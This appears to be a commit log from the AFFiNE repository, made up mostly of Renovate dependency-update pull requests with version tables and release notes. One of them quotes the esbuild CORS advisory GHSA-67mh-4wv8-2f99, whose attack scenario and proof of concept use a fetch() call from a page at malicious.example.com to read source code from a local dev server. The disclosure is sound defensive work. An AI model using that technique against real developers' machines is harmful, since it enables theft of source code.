| [happy-dom](https://redirect.github.com/capricorn86/happy-dom) | [`17.0.2` -> `17.0.3`](https://renovatebot.com/diffs/npm/happy-dom/17.0.2/17.0.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/17.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/happy-dom/17.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/happy-dom/17.0.2/17.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/17.0.2/17.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [jotai](https://redirect.github.com/pmndrs/jotai) | [`2.11.3` -> `2.12.0`](https://renovatebot.com/diffs/npm/jotai/2.11.3/2.12.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/jotai/2.12.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/jotai/2.12.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/jotai/2.11.3/2.12.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/jotai/2.11.3/2.12.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [lucide-react](https://lucide.dev) ([source](https://redirect.github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react)) | [`^0.474.0` -> `^0.475.0`](https://renovatebot.com/diffs/npm/lucide-react/0.474.0/0.475.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/lucide-react/0.475.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/lucide-react/0.475.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/lucide-react/0.474.0/0.475.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/lucide-react/0.474.0/0.475.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [mdast-util-gfm-footnote](https://redirect.github.com/syntax-tree/mdast-util-gfm-footnote) | [`2.0.0` -> `2.1.0`](https://renovatebot.com/diffs/npm/mdast-util-gfm-footnote/2.0.0/2.1.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/mdast-util-gfm-footnote/2.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/mdast-util-gfm-footnote/2.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/mdast-util-gfm-footnote/2.0.0/2.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/mdast-util-gfm-footnote/2.0.0/2.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [nestjs-cls](https://papooch.github.io/nestjs-cls/) ([source](https://redirect.github.com/Papooch/nestjs-cls)) | [`5.1.2` -> `5.2.0`](https://renovatebot.com/diffs/npm/nestjs-cls/5.1.2/5.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/nestjs-cls/5.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/nestjs-cls/5.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/nestjs-cls/5.1.2/5.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nestjs-cls/5.1.2/5.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [once_cell](https://redirect.github.com/matklad/once_cell) | `1.20.2` -> `1.20.3` | [![age](https://developer.mend.io/api/mc/badges/age/crate/once_cell/1.20.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/once_cell/1.20.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/once_cell/1.20.2/1.20.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/once_cell/1.20.2/1.20.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [postcss](https://postcss.org/) ([source](https://redirect.github.com/postcss/postcss)) | [`8.5.1` -> `8.5.2`](https://renovatebot.com/diffs/npm/postcss/8.5.1/8.5.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/postcss/8.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/postcss/8.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/postcss/8.5.1/8.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/postcss/8.5.1/8.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [react-email](https://redirect.github.com/resend/react-email) ([source](https://redirect.github.com/resend/react-email/tree/HEAD/packages/react-email)) | [`3.0.6` -> `3.0.7`](https://renovatebot.com/diffs/npm/react-email/3.0.6/3.0.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-email/3.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-email/3.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-email/3.0.6/3.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-email/3.0.6/3.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [tailwindcss](https://tailwindcss.com) ([source](https://redirect.github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/tailwindcss)) | [`4.0.5` -> `4.0.6`](https://renovatebot.com/diffs/npm/tailwindcss/4.0.5/4.0.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/tailwindcss/4.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/tailwindcss/4.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/tailwindcss/4.0.5/4.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tailwindcss/4.0.5/4.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [tailwindcss](https://tailwindcss.com) ([source](https://redirect.github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/tailwindcss)) | [`4.0.5` -> `4.0.6`](https://renovatebot.com/diffs/npm/tailwindcss/4.0.5/4.0.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/tailwindcss/4.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/tailwindcss/4.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/tailwindcss/4.0.5/4.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tailwindcss/4.0.5/4.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [typescript-eslint](https://typescript-eslint.io/packages/typescript-eslint) ([source](https://redirect.github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint)) | [`8.23.0` -> `8.24.0`](https://renovatebot.com/diffs/npm/typescript-eslint/8.23.0/8.24.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/typescript-eslint/8.24.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typescript-eslint/8.24.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typescript-eslint/8.23.0/8.24.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typescript-eslint/8.23.0/8.24.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [uniffi](https://mozilla.github.io/uniffi-rs) ([source](https://redirect.github.com/mozilla/uniffi-rs)) | `0.28` -> `0.29` | [![age](https://developer.mend.io/api/mc/badges/age/crate/uniffi/0.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/uniffi/0.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/uniffi/0.28.3/0.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/uniffi/0.28.3/0.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | minor |

---

### Release Notes

<details>
<summary>Cap-go/capacitor-inappbrowser (@&#8203;capgo/inappbrowser)</summary>

### [`v7.2.16`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#7216-2025-02-10)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.15...7.2.16)

</details>

<details>
<summary>resend/react-email (@&#8203;react-email/components)</summary>

### [`v0.0.33`](https://redirect.github.com/resend/react-email/blob/HEAD/packages/components/CHANGELOG.md#0033)

[Compare Source](https://redirect.github.com/resend/react-email/compare/@react-email/components@0.0.32...@react-email/components@0.0.33)

##### Patch Changes

-   Updated dependencies \[[`caa49b3`](https://redirect.github.com/resend/react-email/commit/caa49b3)]
-   Updated dependencies \[[`337ac4e`](https://redirect.github.com/resend/react-email/commit/337ac4e)]
-   Updated dependencies \[[`b44c937`](https://redirect.github.com/resend/react-email/commit/b44c937)]
    -   [@&#8203;react-email/render](https://redirect.github.com/react-email/render)[@&#8203;1](https://redirect.github.com/1).0.5
    -   [@&#8203;react-email/body](https://redirect.github.com/react-email/body)[@&#8203;0](https://redirect.github.com/0).0.11
    -   [@&#8203;react-email/button](https://redirect.github.com/react-email/button)[@&#8203;0](https://redirect.github.com/0).0.19
    -   [@&#8203;react-email/code-block](https://redirect.github.com/react-email/code-block)[@&#8203;0](https://redirect.github.com/0).0.11
    -   [@&#8203;react-email/code-inline](https://redirect.github.com/react-email/code-inline)[@&#8203;0](https://redirect.github.com/0).0.5
    -   [@&#8203;react-email/column](https://redirect.github.com/react-email/column)[@&#8203;0](https://redirect.github.com/0).0.13
    -   [@&#8203;react-email/container](https://redirect.github.com/react-email/container)[@&#8203;0](https://redirect.github.com/0).0.15
    -   [@&#8203;react-email/font](https://redirect.github.com/react-email/font)[@&#8203;0](https://redirect.github.com/0).0.9
    -   [@&#8203;react-email/head](https://redirect.github.com/react-email/head)[@&#8203;0](https://redirect.github.com/0).0.12
    -   [@&#8203;react-email/heading](https://redirect.github.com/react-email/heading)[@&#8203;0](https://redirect.github.com/0).0.15
    -   [@&#8203;react-email/hr](https://redirect.github.com/react-email/hr)[@&#8203;0](https://redirect.github.com/0).0.11
    -   [@&#8203;react-email/html](https://redirect.github.com/react-email/html)[@&#8203;0](https://redirect.github.com/0).0.11
    -   [@&#8203;react-email/img](https://redirect.github.com/react-email/img)[@&#8203;0](https://redirect.github.com/0).0.11
    -   [@&#8203;react-email/link](https://redirect.github.com/react-email/link)[@&#8203;0](https://redirect.github.com/0).0.12
    -   [@&#8203;react-email/markdown](https://redirect.github.com/react-email/markdown)[@&#8203;0](https://redirect.github.com/0).0.14
    -   [@&#8203;react-email/preview](https://redirect.github.com/react-email/preview)[@&#8203;0](https://redirect.github.com/0).0.12
    -   [@&#8203;react-email/row](https://redirect.github.com/react-email/row)[@&#8203;0](https://redirect.github.com/0).0.12
    -   [@&#8203;react-email/section](https://redirect.github.com/react-email/section)[@&#8203;0](https://redirect.github.com/0).0.16
    -   [@&#8203;react-email/tailwind](https://redirect.github.com/react-email/tailwind)[@&#8203;1](https://redirect.github.com/1).0.4
    -   [@&#8203;react-email/text](https://redirect.github.com/react-email/text)[@&#8203;0](https://redirect.github.com/0).0.11

</details>

<details>
<summary>tailwindlabs/tailwindcss (@&#8203;tailwindcss/postcss)</summary>

### [`v4.0.6`](https://redirect.github.com/tailwindlabs/tailwindcss/blob/HEAD/CHANGELOG.md#406---2025-02-10)

[Compare Source](https://redirect.github.com/tailwindlabs/tailwindcss/compare/v4.0.5...v4.0.6)

##### Fixed

-   Revert change to no longer include theme variables that aren't used in compiled CSS ([#&#8203;16403](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16403))

</details>

<details>
<summary>toeverything/design (@&#8203;toeverything/theme)</summary>

### [`v1.1.9`](https://redirect.github.com/toeverything/design/compare/1.1.8...1.1.9)

[Compare Source](https://redirect.github.com/toeverything/design/compare/1.1.8...1.1.9)

</details>

<details>
<summary>cloudflare/wrangler-action (cloudflare/wrangler-action)</summary>

### [`v3.14.0`](https://redirect.github.com/cloudflare/wrangler-action/releases/tag/v3.14.0)

[Compare Source](https://redirect.github.com/cloudflare/wrangler-action/compare/v3.13.1...v3.14.0)

##### Minor Changes

-   [#&#8203;351](https://redirect.github.com/cloudflare/wrangler-action/pull/351) [`4ff07f4`](https://redirect.github.com/cloudflare/wrangler-action/commit/4ff07f4310dc5067d84a254cd9af3d2e91df119e) Thanks [@&#8203;Maximo-Guk](https://redirect.github.com/Maximo-Guk)! - Use wrangler outputs for version upload and wrangler deploy

##### Patch Changes

-   [#&#8203;350](https://redirect.github.com/cloudflare/wrangler-action/pull/350) [`e209094`](https://redirect.github.com/cloudflare/wrangler-action/commit/e209094e624c6f6b418141b7e9d0ab7838d794a3) Thanks [@&#8203;Maximo-Guk](https://redirect.github.com/Maximo-Guk)! - Handle failures in createGitHubDeployment and createGitHubJobSummary

</details>

<details>
<summary>capricorn86/happy-dom (happy-dom)</summary>

### [`v17.0.3`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v17.0.3)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v17.0.2...v17.0.3)

##### 👷‍♂️ Patch fixes

-   Fix bug where nested query selector is not returning the correct result when there are multiple matching selectorGroups - By **[@&#8203;betterqualityassuranceuser](https://redirect.github.com/betterqualityassuranceuser)** in task 1720

</details>

<details>
<summary>pmndrs/jotai (jotai)</summary>

### [`v2.12.0`](https://redirect.github.com/pmndrs/jotai/compare/v2.11.3...v2.12.0)

[Compare Source](https://redirect.github.com/pmndrs/jotai/compare/v2.11.3...v2.12.0)

</details>

<details>
<summary>lucide-icons/lucide (lucide-react)</summary>

### [`v0.475.0`](https://redirect.github.com/lucide-icons/lucide/releases/tag/0.475.0): New icons 0.475.0

[Compare Source](https://redirect.github.com/lucide-icons/lucide/compare/0.474.0...0.475.0)

#### New icons 🎨

-   `circle-small` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)
-   `mars-stroke` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)
-   `mars` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)
-   `non-binary` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)
-   `transgender` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)
-   `venus-and-mars` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)
-   `venus` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)

</details>

<details>
<summary>syntax-tree/mdast-util-gfm-footnote (mdast-util-gfm-footnote)</summary>

### [`v2.1.0`](https://redirect.github.com/syntax-tree/mdast-util-gfm-footnote/releases/tag/2.1.0)

[Compare Source](https://redirect.github.com/syntax-tree/mdast-util-gfm-footnote/compare/2.0.0...2.1.0)

##### Add

-   [`8499c82`](https://redirect.github.com/syntax-tree/mdast-util-gfm-footnote/commit/8499c82) Add `firstLineBlank` option

##### Types

-   [`93e4e11`](https://redirect.github.com/syntax-tree/mdast-util-gfm-footnote/commit/93e4e11) Refactor to use `@import`s
-   [`1dc664d`](https://redirect.github.com/syntax-tree/mdast-util-gfm-footnote/commit/1dc664d) Add declaration maps

**Full Changelog**: https://github.com/syntax-tree/mdast-util-gfm-footnote/compare/2.0.0...2.1.0

</details>

<details>
<summary>Papooch/nestjs-cls (nestjs-cls)</summary>

### [`v5.2.0`](https://redirect.github.com/Papooch/nestjs-cls/releases/tag/nestjs-cls%405.2.0)

[Compare Source](https://redirect.github.com/Papooch/nestjs-cls/compare/nestjs-cls@5.1.2...nestjs-cls@5.2.0)

Adds backward compatibility for NestJS 10

##### Dependencies

-   allow nestjs 10 as peer dependency ([b7057cb](https://redirect.github.com/Papooch/nestjs-cls/commits/b7057cb))

##### Features

-   **core**: automatically detect fastify and express versions ([45a1be3](https://redirect.github.com/Papooch/nestjs-cls/commits/45a1be3))

</details>

<details>
<summary>matklad/once_cell (once_cell)</summary>

### [`v1.20.3`](https://redirect.github.com/matklad/once_cell/compare/v1.20.2...v1.20.3)

[Compare Source](https://redirect.github.com/matklad/once_cell/compare/v1.20.2...v1.20.3)

</details>

<details>
<summary>postcss/postcss (postcss)</summary>

### [`v8.5.2`](https://redirect.github.com/postcss/postcss/blob/HEAD/CHANGELOG.md#852)

[Compare Source](https://redirect.github.com/postcss/postcss/compare/8.5.1...8.5.2)

-   Fixed end position of rules with semicolon (by [@&#8203;romainmenke](https://redirect.github.com/romainmenke)).

</details>

<details>
<summary>resend/react-email (react-email)</summary>

### [`v3.0.7`](https://redirect.github.com/resend/react-email/blob/HEAD/packages/react-email/CHANGELOG.md#307)

[Compare Source](https://redirect.github.com/resend/react-email/compare/react-email@3.0.6...react-email@3.0.7)

##### Patch Changes

-   [`c61760e`](https://redirect.github.com/resend/react-email/commit/c61760e): use the `punycode` package for the static modules
-   [`382c305`](https://redirect.github.com/resend/react-email/commit/382c305): Fixes active state for root email templats on file tree
-   [`519f0c6`](https://redirect.github.com/resend/react-email/commit/519f0c6): Respect user's NODE_ENV when previewing templates
-   [`e149816`](https://redirect.github.com/resend/react-email/commit/e149816): Upgrade socket.io to 4.8.1

</details>

<details>
<summary>typescript-eslint/typescript-eslint (typescript-eslint)</summary>

### [`v8.24.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/typescript-eslint/CHANGELOG.md#8240-2025-02-10)

[Compare Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v8.23.0...v8.24.0)

This was a version bump only for typescript-eslint to align it with other projects, there were no code changes.

You can read about our [versioning strategy](https://main--typescript-eslint.netlify.app/users/versioning) and [releases](https://main--typescript-eslint.netlify.app/users/releases) on our website.

</details>

<details>
<summary>mozilla/uniffi-rs (uniffi)</summary>

### [`v0.29.0`](https://redirect.github.com/mozilla/uniffi-rs/blob/HEAD/CHANGELOG.md#v0290-backend-crates-v0290---2025-02-06)

[Compare Source](https://redirect.github.com/mozilla/uniffi-rs/compare/v0.28.3...v0.29.0)

##### ⚠️ Breaking Changes ⚠️

We've made a number of breaking changes to fix long standing paper-cuts with UniFFI in multi-crate and procmacro+udl environments.

[See the detailed upgrade notes](https://mozilla.github.io/uniffi-rs/next/Upgrading.html)

While **no changes are required to foreign code**, we apologize for the inconvenience!

You are impacted if you use `UniffiCustomTypeConverter` to implement "Custom types",
or use UDL with types from more than one crate.

-   `UniffiCustomTypeConverter` has been removed, you must now use the
    [`custom_type!` macro](https://mozilla.github.io/uniffi-rs/next/types/custom_types.html) instead.

-   The [UDL syntax for external types](https://mozilla.github.io/uniffi-rs/next/udl/external_types.html) has changed.
    `typedef extern MyEnum;` has been replaced
    with `typedef enum MyEnum;`. `[Custom]` and `[External]` are the only supported  attributes for a `typedef`.

-   "remote" types (where UDL can re-export a type defined in
    a non-UniFFI crate - eg, `log::Level`) must now use a
    [`[Remote]` attribute](https://mozilla.github.io/uniffi-rs/next/types/remote_ext_types.html).

-   Various `use_udl_*`/`use_remote_type` etc macros have been removed.

[Detailed upgrade notes](https://mozilla.github.io/uniffi-rs/next/Upgrading.html)

-   `uniffi::generate_component_scaffolding` has been removed. It's almost certainly unused as it is
    behind the wrong feature and undocumented. `uniffi::generate_scaffolding` does exacly the same thing and is
    correctly behind the `build` feature.

##### What's new?

-   Kotlin and Swift follow Python: Proc-macros exporting an `impl Trait for Struct` block now has a class inheritance
    hierarcy to reflect that.
    [#&#8203;2297](https://redirect.github.com/mozilla/uniffi-rs/pull/2297), [#&#8203;2363](https://redirect.github.com/mozilla/uniffi-rs/pull/2363)

-   External types work much better, particularly between UDL and proc-macros. (Kotlin external errors do not work - [#&#8203;2392](https://redirect.github.com/mozilla/uniffi-rs/issues/2392)).

-   Swift interfaces are marked as `Sendable` ([#&#8203;2318](https://redirect.github.com/mozilla/uniffi-rs/pull/2318))

-   Removed the `log` dependency and logging statements about FFI calls.  These were not really useful
    to consumers and could have high overhead when lots of FFI calls are made. Instead, the
    `ffi-trace` feature can be used to get tracing-style printouts about the FFI.

-   External errors work for Swift and Python. Kotlin does not work - see [#&#8203;2392](https://redirect.github.com/mozilla/uniffi-rs/issues/2392).

-   Added `disable_java_cleaner` option for kotlin to allow for Java 8 compatible code

-   Proc-macros now allow Enums to hold objects ([#&#8203;1372](https://redirect.github.com/mozilla/uniffi-rs/issues/1372))

-   Swift and Kotlin make it possible to opt-out of the runtime checksum integrity tests done as the library is initialized.
    Opting out will shoot yourself in the foot if you mixup your build pipeline in any way, but might speed the initialization.
    (Python apparently hasn't made these checks for some time, so no changes there!)

##### What's changed?

-   Switching jinja template engine from askama to rinja.

-   For `wasm32` build targets, `Future`s do not have to be `Send` ([#&#8203;2418](https://redirect.github.com/mozilla/uniffi-rs/pull/2418)),
    making them compatible with `wasm-bindgen` `Future`s.

##### ⚠️ Breaking Changes for external bindings authors ⚠️

-   Added the `FfiType::MutReference` variant.

-   `Callable` trait has changed, `return_type` and `throws_type` are now references.

-   `Type::External` has been removed. Binding authors must now check the type is local themselves before
    deciding to treat it as a local or external type.

    To get a feel for the impact on the bindings, see where we [first did this for custom types](https://redirect.github.com/mozilla/uniffi-rs/commit/c5a437e9f34f9d46c097848810bf6111cfa13a9f),
    and where we [then stopped using it entirely](https://redirect.github.com/mozilla/uniffi-rs/commit/df514fd1cc748da5c05ab64ccb02d7791012a9cb)

[All changes in v0.29.0](https://redirect.github.com/mozilla/uniffi-rs/compare/v0.28.3...v0.29.0).

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNjQuMSIsInVwZGF0ZWRJblZlciI6IjM5LjE2NC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-11 07:59:25 +00:00
fengmk2 5a63bc0e53 feat(server): wrong context setting on doc publish (#10080)
context should be `WorkspaceDocResolver`

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/hTwOityLamd4hitrae7M/0826ced9-4955-45a4-b5e7-944ae898d45e.png)
2025-02-11 06:16:51 +00:00
Yifeng Wang 53e5726d36 refactor(editor): move worker renderer to affine shared (#10081) 2025-02-11 14:16:17 +08:00
pengx17 d89d4a71dd feat(core): center peek open doc should only load doc when idle (#10023)
fix AF-2183
2025-02-11 04:56:23 +00:00
Brooooooklyn b1d7128e2b chore: remove wrong hoistingLimits config for graphql package (#10077) 2025-02-11 04:38:53 +00:00
renovate 9f5abe6078 chore: bump up esbuild version to ^0.25.0 [SECURITY] (#10075)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [esbuild](https://redirect.github.com/evanw/esbuild) | [`^0.24.0` -> `^0.25.0`](https://renovatebot.com/diffs/npm/esbuild/0.24.2/0.25.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/esbuild/0.25.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/esbuild/0.25.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/esbuild/0.24.2/0.25.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/esbuild/0.24.2/0.25.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

### GitHub Vulnerability Alerts

#### [GHSA-67mh-4wv8-2f99](https://redirect.github.com/evanw/esbuild/security/advisories/GHSA-67mh-4wv8-2f99)

### Summary

esbuild allows any websites to send any request to the development server and read the response due to default CORS settings.

### Details

esbuild sets `Access-Control-Allow-Origin: *` header to all requests, including the SSE connection, which allows any websites to send any request to the development server and read the response.

https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L121
https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L363

**Attack scenario**:

1. The attacker serves a malicious web page (`http://malicious.example.com`).
1. The user accesses the malicious web page.
1. The attacker sends a `fetch('http://127.0.0.1:8000/main.js')` request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.
1. The attacker gets the content of `http://127.0.0.1:8000/main.js`.

In this scenario, I assumed that the attacker knows the URL of the bundle output file name. But the attacker can also get that information by

- Fetching `/index.html`: normally you have a script tag here
- Fetching `/assets`: it's common to have a `assets` directory when you have JS files and CSS files in a different directory and the directory listing feature tells the attacker the list of files
- Connecting `/esbuild` SSE endpoint: the SSE endpoint sends the URL path of the changed files when the file is changed (`new EventSource('/esbuild').addEventListener('change', e => console.log(e.type, e.data))`)
- Fetching URLs in the known file: once the attacker knows one file, the attacker can know the URLs imported from that file

The scenario above fetches the compiled content, but if the victim has the source map option enabled, the attacker can also get the non-compiled content by fetching the source map file.

### PoC

1. Download [reproduction.zip](https://redirect.github.com/user-attachments/files/18561484/reproduction.zip)
2. Extract it and move to that directory
1. Run `npm i`
1. Run `npm run watch`
1. Run `fetch('http://127.0.0.1:8000/app.js').then(r => r.text()).then(content => console.log(content))` in a different website's dev tools.

![image](https://redirect.github.com/user-attachments/assets/08fc2e4d-e1ec-44ca-b0ea-78a73c3c40e9)

### Impact

Users using the serve feature may get the source code stolen by malicious websites.

---

### Release Notes

<details>
<summary>evanw/esbuild (esbuild)</summary>

### [`v0.25.0`](https://redirect.github.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#v0250)

[Compare Source](https://redirect.github.com/evanw/esbuild/compare/v0.24.2...v0.25.0)

**This release deliberately contains backwards-incompatible changes.** To avoid automatically picking up releases like this, you should either be pinning the exact version of `esbuild` in your `package.json` file (recommended) or be using a version range syntax that only accepts patch upgrades such as `^0.24.0` or `~0.24.0`. See npm's documentation about [semver](https://docs.npmjs.com/cli/v6/using-npm/semver/) for more information.

-   Restrict access to esbuild's development server ([GHSA-67mh-4wv8-2f99](https://redirect.github.com/evanw/esbuild/security/advisories/GHSA-67mh-4wv8-2f99))

    This change addresses esbuild's first security vulnerability report. Previously esbuild set the `Access-Control-Allow-Origin` header to `*` to allow esbuild's development server to be flexible in how it's used for development. However, this allows the websites you visit to make HTTP requests to esbuild's local development server, which gives read-only access to your source code if the website were to fetch your source code's specific URL. You can read more information in [the report](https://redirect.github.com/evanw/esbuild/security/advisories/GHSA-67mh-4wv8-2f99).

    Starting with this release, [CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) will now be disabled, and requests will now be denied if the host does not match the one provided to `--serve=`. The default host is `0.0.0.0`, which refers to all of the IP addresses that represent the local machine (e.g. both `127.0.0.1` and `192.168.0.1`). If you want to customize anything about esbuild's development server, you can [put a proxy in front of esbuild](https://esbuild.github.io/api/#serve-proxy) and modify the incoming and/or outgoing requests.

    In addition, the `serve()` API call has been changed to return an array of `hosts` instead of a single `host` string. This makes it possible to determine all of the hosts that esbuild's development server will accept.

